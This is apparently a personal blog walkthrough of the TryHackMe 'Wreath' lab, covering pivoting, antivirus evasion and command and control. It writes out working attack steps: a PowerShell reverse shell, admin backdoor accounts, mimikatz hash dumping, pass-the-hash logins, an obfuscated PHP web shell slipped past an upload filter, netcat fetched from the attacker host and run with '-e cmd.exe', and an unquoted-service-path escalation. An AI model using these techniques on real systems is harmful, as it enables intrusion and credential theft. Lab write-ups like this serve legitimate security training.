So over the past couple of weeks, I decided to go through the TryHackMe room: Wreath. This room is designed to better understand an entire Pen Testing engagement with a potential customer.
This room is really good at going through some very key points that I haven’t found anywhere else (yet) on the TryHackMe website. The room specifically looks at, Pivoting, Anti Virus Evasion and Comand and Control system. All three of these are brilliant topics to get your head into and TryHackMe does a great job of providing enough information without overloading you.
The first point of the room is to give you a brief of the engagement which has the following key points:
https://tryhackme.com/room/wreath
There are three machines on the network
There is at least one public-facing webserver
There is a self-hosted git server somewhere on the network
The git server is internal, so Thomas may have pushed sensitive information into it
There is a PC running on the network that has an antivirus installed, meaning we can hazard a guess that this is likely to be Windows
By the sounds of it, this is likely to be the server variant of Windows, which might work in our favour
The (assumed) Windows PC cannot be accessed directly from the webserver
The Web Server
So the first thing to do is begin with some enumeration of the network. The subnet changes each time the network is reset, so you may need to be careful if you take more than a day or two on the entire room. Enumerating the network using Nmap to identify what devices are available. The lowercase x below is because you should configure this to be whatever TryHackMe tells you at the moment it is .90.X:
nmap -Pn 10.200.x.X/24
Once initial scanning is done and you’ve identified the webserver (it should be the only server available) then you can perform a more in-depth Nmap scan:
nmap -sS -sC -sV -O -A 10.200.X.X
This will return a few services available on the web server. One of these services has a critical CVE from 2019. A quick search using searchspolit on Kali of ExploitDB online will provide you with the exploit’s Proof Of Concept (POC). Use this python exploit to gain access to the system. It is advisable to read the code to better understand what the exploit is and how it can be leveraged. This exploit is particularly bad as the service runs as Administrator/Root so once we’ve used the exploit we will get a shell as root.
OK, so now we effectively own that machine we need to stabilise our access. The best way to do this is to see if we can find SSH keys for our root user which we can then use to remote in moving forward.
GitServer
So now that we have access to the web server we need to get access to the next server in the network. To do this you want to follow the five steps outlined in the room:
https://tryhackme.com/room/wreath
Using material found on the machine. The hosts file or ARP cache, for example
Using pre-installed tools
Using statically compiled tools
Using scripting techniques
Using local tools through a proxy
It is worth reading all the room has to offer on different tools for Pivoting, there are some amazing tools available. I personally really like socat but have used ProxyChains before too.
As per the recommendation, we can use statically compiled tools to run on the Web Server to gather additional information about our next target. To do this you can download a static variant of Nmap from here:
https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap?raw=true
The upload it to the webserver you compromised. There are a variety of ways you can do this, either using cURL or SCP as we have SSH access. Once uploaded we can use our copy of Nmap to scan the network again and find whatever IP address is available. As we may be able to identify some devices which are Windows we should assume all devices are up without allowing ICMP/Ping. Windows blocks this by default:
./nmap -sn 10.200.X.X-X -oN scan-Username
There are two devices that we can now see on the network, one which has some open ports and another which is filtered, so we know the other exists but we’re blocked from accessing it. Based on the brief we must assume that the filtered device is the Personal Computer with the Anti-Virus installed on it. Let’s park that one for now and concentrate on the Git Server. We’ve found a few ports open and an application which has a vulnerability.
Now to get access to the system we need to pivot through the web server we’ve already compromised. I personally tried to get this to work with Socat but struggled mainly because I wasn’t experienced with Firewall changes in CentOS. Follow the guides of TryHackMe and use the shuttle it’s really easy to use and takes one line to get a pivoted connection:
sshuttle -r root@10.200.90.200 --ssh-cmd "ssh -i id_rsa" 10.200.90.0/24
Now we can start investigating the open ports we found. There’s a particular web application available on this server that again has a particularly bad vulnerability. We can run this python2 script to create a backdoor on the GitStack server which we can then use to run commands on the server to gather further information.
Socat Listener/CentOS Firewall
We now need to set up a Socat listener between the Web Server and our Kali attacking machine to allow the connection from the GitServer back through to our Kali machine for a reverse shell. The first thing here is the create a Firewall rule to allow the Socat connections through:
firewall-cmd --zone=public --add-port 16000/tcp
Now that we have a port open we can upload Socat to the Web Server, again using cURL or SCP and create the connection back to the Kali server:
./socat tcp-l:16000 tcp:10.50.91.232:443 &
Now if we open a netcat listener on our Kali machine on port 443 we can run the Powershell script in the next section to get a shell.
Powershell/Reverse Shell
The main thing is here we can use the backdoor to create a reverse shell using Powershell and encoding the command for URL https://www.urlencoder.org/:
powershell.exe -c "$client = New-Object System.Net.Sockets.TCPClient('IP',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
This should give us a pseudo shell once we replaced the ‘IP’ and PORT part of the command above with the IP of the Web Server and the port you opened up.
Stabalisation & Post Exploitation
Now that we have a connection onto the GitServer we need to ensure that we can get connected again should we lose connectivity through this PowerShell reverse shell. To do this, because we are SYSTEM we have full administrator rights. Let’s create a new user and grant them full admin rights:
net user <username> <password> /add
net localgroup Administrators <username> /add
net localgroup "Remote Management Users" <username> /add
This now gives us a user that we can use to log into the machine as a local admin. The ports that we found when performing our Enumeration work gives us some options available to us. One is RDP and the other is WinRM.
The room takes you through installing freerdp2-x11 which is a really useful utility as you can add shares from your local machine (Kali) so gaining access to tools such as mimikatz becomes as simple as one command:
xfreerdp /v:10.200.90.150 /u:USERNAME /p:PASSWORD +clipboard /dynamic-resolution /drive:/usr/share/windows-resources,share
In this command, we’re logging into the server and creating a SMB share called “share” which routes back to /usr/share/windows-resources. We can then load any of our exploits/resources in that folder directly into memory through the share.
We can now run mimikatz to capture hash files of all of the users now we’re logged in as an administrator. Load mimikatz and run the following commands:
privilege::debug
token::elevate
lsadump::sam
We can now store the NTLM hashes to try and crack them and if we cannot we can still use them later on. To create an alternative form of access we have WinRM at our disposal and now we have the NTLM hashes we can use them. Install evil-winrm:
apt get install evil-winrm
Now we can remote into the server using evil-winrm with our administrator hash:
evil-winrm -u Administrator -H <AdministratorHash> -i 10.200.90.150
Command and Control
Now this section is awesome not only because the introduced software is very well written and works amazingly, but whoever wrote it decided to name it Empire and the GUI Starkiller. For anyone who loves Star Wars like me, this is amazing.
The way this system works is there is a command server, usually your Kali machine or if you’re doing this for a career a Linux machine somewhere in the cloud. This command server has a listener or number of listeners on it, waiting for connections from your agents. These listeners come in various options but the most used ones are HTTP and HTTP-Hop mainly because they can blend into normal day-to-day traffic easier.
The next part is the stager, this is a script/command that creates our agent. This comes in a number of forms but Bash and Powershell are the ones introduced in the Wreath room. Once these stagers are run on your compromised machine they will create an agent connection back to your control server. Once connected you will be able to run commands as if you were on the agent through the command server.
I mentioned in the part about listeners about HTTP-Hop, this is a special listener because it allows you to set up a hop station should you be pivoting around a network. What this essentially does is allows us to take an entry point in the network and make use of it as a “jump” server between our command server and a compromised device that doesn’t have internet connectivity for example:
Command Server <—–> Web Server <—-> Compromised Machine
Take the points above, the compromised machine doesn’t have connectivity to the internet however, it does have connectivity to the web server and the web server has connectivity to the internet. In this case, we have a listener set up to communicate from the Web Server back to our Command Server, what we can do is create an HTTP-Hop listener and install it on the Web Server which will redirect the traffic from the Hop to the original listener installed. Then on the compromised machine, we tell the stager to connect to the Hop listener and hey presto connectivity from the command server through the web server to the compromised machine.
Personal Computer
OK, so we now have full control over both the Web Server and GitServer as well as a couple of ways to access both. From here the next step was to start enumerating the final device in the network. We know from previous enumeration attempts we were being filtered on the Web Server when we tried to connect to this computer .100 but now we have access to the GitServer we can try and run a port scan.
To do this we can upload a Powershell script through Evil-WinRM:
evil-winrm -u Administrator -H <hash> -i 10.200.90.150 -s /usr/share/powershell-empire/empire/server/data/module_source/situational_awareness/network/
Now using PowerShell we can initialise the script we want called Invoke-Portscan.ps1 from the network folder we added in the previous command:
Invoke-Portscan.ps1
Finally, to enumerate the Personal Computer we can run that script:
Invoke-Portscan -Hosts 172.16.0.10 -TopPorts 50
Further Pivoting
TryHackMe recommends making use of Chisel and their Forward Proxy service. The only real requirement before connecting to the Personal Computer is setting up a firewall rule on the GitServer:
netsh advfirewall firewall add rule name="Chisel-FP" dir=in action=allow protocol=tcp localport=16000
I’ve chosen port 16000 here as the port that we will connect through to get connected to the Personal Computers website. Then we can upload the chisel executable to the GitServer and run it using the port configured before:
.\chisel.exe server -p 16000 --socks5
Now were half way there to having this connection open. We need to connect from our attacking machine (Kali) to this chisel server. We do this by using chisel to connect to the GitServer:
.\chisel client 10.200.90.150:16000 9090:socks
Finally, if we set up a proxy on our browser using something like FoxyProxy to go via port 9090 on a SOCKS5 connection we can then browse the website using: HTTP://127.0.0.1:9090.
Git Goodness
By now we’ve taken a look at the site hosted on the personal computer and identified that it’s a carbon copy of the original site we saw on the web server. Looking at the GitServer however, we can see there is a repository on it in the directory: C:\GitServer\repositories\Website.git. We can download this git file and use a tool to extract its content.
First clone the tool on your attacking machine:
git clone https://github.com/internetwache/GitTools
Next use the extractor.sh file extract all of the contents from the Website.git file to a new folder, I’ve called my DevelopmentServer:
./extractor.sh ./website.git DevelopmentServer
Now we can run a quick bash one liner to identify the latest version of the site:
separator="======================================="; for i in $(ls); do printf "\n\n$separator\n\033[4;1m$i\033[0m\n$(cat $i/commit-meta.txt)\n"; done; printf "\n\n$separator\n\n\n"
This looks at the commit-meta.txt file in each folder extracted in the DevelopmentServer folder and outputs the information. From here we can see there are three main IDs:
- 70dde80cc19ec76704567996738894828f4ee895
- 82dfc97bec0d7582d485d9031c09abcb5c6b18f2
- 345ac8b236064b431fa43f53d91c98c4834ef8f3
If you look closely at the output you can see two of these have parent IDs against them making them not the root commit but a child one. As a result, we can rule out the one without a parent as that was the first upload of the website. Then if we find the ID with the parent ID of the original website we can rule that out as the second update, leaving the third and final commit as the latest edition of the website. In this case, the 3rd ID in the list above is the latest.
From here we can try and find if there’s a vulnerability in the site we can take advantage of. As we know the site uses PHP as before we can search for PHP files in that directory using the find command:
find . -name "\*.php"
The result is a single file called index.php, there are some interesting comments on things that need to be sorted, one of the main ones being that the resources folder is protected by basic auth. Here is where human habits come in, we cracked Thomas’ password in a previous step, let’s see if he is using it here, go to the website HTTP://127.0.0.1:9090/resources and login with Thomas and the password from the NTLM hash taken using mimikatz. Once being the auth we can see that it’s an upload function, however, there are some filters in place which we should have identified in the index.php file:
$size = getimagesize($_FILES["file"]["tmp_name"]);
if(!in_array(explode(".", $_FILES["file"]["name"])[1], $goodExts) || !$size){
header("location: ./?msg=Fail");
die();
}
This filter checks for the size of the image through EXIF data to ensure that it is an image using the getimagesize function. The final part of the function checks if the file has the correct extension. The second part to bypass is easy as it’s hard coded to explode out the filename using . as the delimiter and only returning the number 1 array item. To get around this we can simply upload a file called image.jpg.php. The explode function takes image as array item 0, jpg as array item 1 and PHP as array item 2.
Exploit
OK, so we know what we’re working with, time to exploit it. To do this we can use exiftool to create a PoC. Download an image and run exiftool to add a PHP comment:
exiftool -Comment="<?php echo \"<pre>Test Payload</pre>\"; die(); ?>" example.jpeg
What we have done here is implement some PHP code in the comment of the EXIF data which just outputs a piece of HTML on the screen. Next we add the PHP extension to the file and upload it through the website:
mv example.jpeg example.jpeg.php
If we now go to the resources uploads folder we should be able to run the file and see if we get the expected output:
HTTP://127.0.0.1:9090/resources/uploads/example.jpeg.php
We do, this is awesome, now we have the ability to run code remotely. Before we can upload a file to run a remote shell we need to review what we were told about this computer: There is a PC running on the network that has an antivirus installed, meaning we can hazard a guess that this is likely to be Windows. OK so we need to run some obfuscation to get past the antivirus. First let’s create the payload:
<?php
$cmd = $_GET["awesomecommand"];
if(isset($cmd)){
echo "<pre>" . shell_exec($cmd) . "</pre>";
}
die();
?>
Time to obfuscate it, go to the following website and select every option for obfuscation and click Obfuscate Source Code: https://www.gaijin.at/en/tools/php-obfuscator
Now the uploader won’t like you uploading the same filename, this was shown in the PHP source code from the Git repository however, we can run exiftools again to input the new comment with the new obfuscated source code, change the filename with the mv command and upload it. When you go to the new web page you will hopefully be presented with an error of “Undefined Index”, if you do you’ve done it. The reason why is because the exploit code is expecting a URL parameter of awesomecommand so if go to the following web address we should get back the response of the shell command whoami:
HTTP://127.0.0.1:9090/resources/uploads/example1.jpeg.php?awesomecommand=whoami
Brilliant, now we have a foothold, let’s get a full shell. To do this, download a statically compiled version of netcat, you can get one from here:
git clone https://github.com/int0x33/nc.exe/
Next, we can set up an HTTP server (python3 -m http.server 80) on our attacking machine and use cURL to download the nc.exe to a location of our choosing. The room says to use the temp folder within Windows, however, I had trouble with that, a much safer and more guaranteed option is to use the tasks folders as that’s world writable:
HTTP://127.0.0.1:9090/resources/uploads/example1.jpeg.php?awesomecommand=curl http://10.50.91.232/nc.exe -o c:\windows\tasks\nc-USERNAME.exe
The connection should get established and the nc.exe file will be downloaded to the windows\tasks folder. Right almost, there we have the means to get a shell, let’s run it, on our attacker machine setup a netcat listener: nc -lvnp 4444
Now run a PowerShell command to run the newly downloaded netcat executable to connect to our attacking machine:
HTTP://127.0.0.1:9090/resources/uploads/example1.jpeg.php?awesomecommand=powershell.exe c:\windows\temp\nc-USERNAME.exe 10.50.91.232 4444 -e cmd.exe
Mileage may vary here and the port may need to be changed, if you don’t get a connection, use one of the well-known ports, 80, 443 etc.
Privilege Escalation
What a journey, now the final piece get root/administrator on this Personal Computer. The first thing here is to enumerate the system to see what we can exploit to get full rights. Follow the room here as there are some cool commands that can be run to get a better understanding of what’s available. Here I will just use this command which is important:
wmic service get name,displayname,pathname,startmode | findstr /v /i "C:\Windows"
This command searches for all non-windows services. One of them has a PathName which isn’t in quotation marks, we then use this command to check if it runs under a local admin account:
sc qc SERVICE_NAME
The final part of the enumeration is to check if we have rights to the folder for and exploit:
powershell "get-acl -Path 'C:\Program Files (x86)\System Explorer' | format-list"
The enumeration is now done, we have a service which hasn’t been quoted and as spaces in it and is run as an admin as well as permission to write in the folder where the service resides. The way this works is because the service isn’t in quotation marks it runs through each word looking for the file in that folder, here is an example pulled from the room:
C:\Directory.exe
C:\Directory One\Directory.exe
C:\Directory One\Directory Two\Executable.exe
So, let’s write some code on our attacker machine to get a new reverse netcat connection but under the service which is the administrator. You can follow the room here as it’s exactly what I did, the end result is you have a wrapper.cs file (c sharp) which we can then compile into an executable:
mcs wrapper.cs
It’s good to follow the room here for getting the new wrapper.exe file onto the Personal Computer as it showcases an alternative method for copying files around, however, for this blog we will just use a simple HTTP server: python3 -m http.server 80
Again like before I uploaded this to the tasks folder using cURL rather than the temp folder. Finally now that we have got it uploaded we need to move the new file into a location before where the service is and restart the service:
copy c:\windows\tasks\wrapper.exe "C:\Program Files (x86)\System Explorer\System.exe"
sc stop SystemExplorerHelpService
sc start SystemExplorerHelpService
Before you start the service, set up a netcat listener on the port you specified in your wrapper. The service will not start correctly as it’s loading our file but we do get a reverse shell and we’re on as an administrator. SUCCESS, we’ve done it, got control of the entire network.
Takeaways
There’s been a lot of learning in this room but there have been some topics that have really been beneficial for me.
Pivoting
Whilst I had knowledge of this technique and used it when completing my eJPT exam I didn’t have a great understanding of it and how best to use it. Going through different applications that can be used for this has been great and has given me a better understanding of what to use and when.
Command & Control (Empire & Starkiller)
What to say about this, I’m a huge Star Wars nerd so just the names are truly awesome. However, I built a Command and Control system through the book Black Hat Python (explained here: https://random-it-stuff.com/2022/01/05/cyber-security-red-teaming-path/) and whilst I know it works and my system runs off GitHub as per the book I didn’t appreciate exactly how I could build out my system. Now I’ve had some time with Empire/Starkiller I have gained some new ideas on how to make my system better.
Random IT Stuff 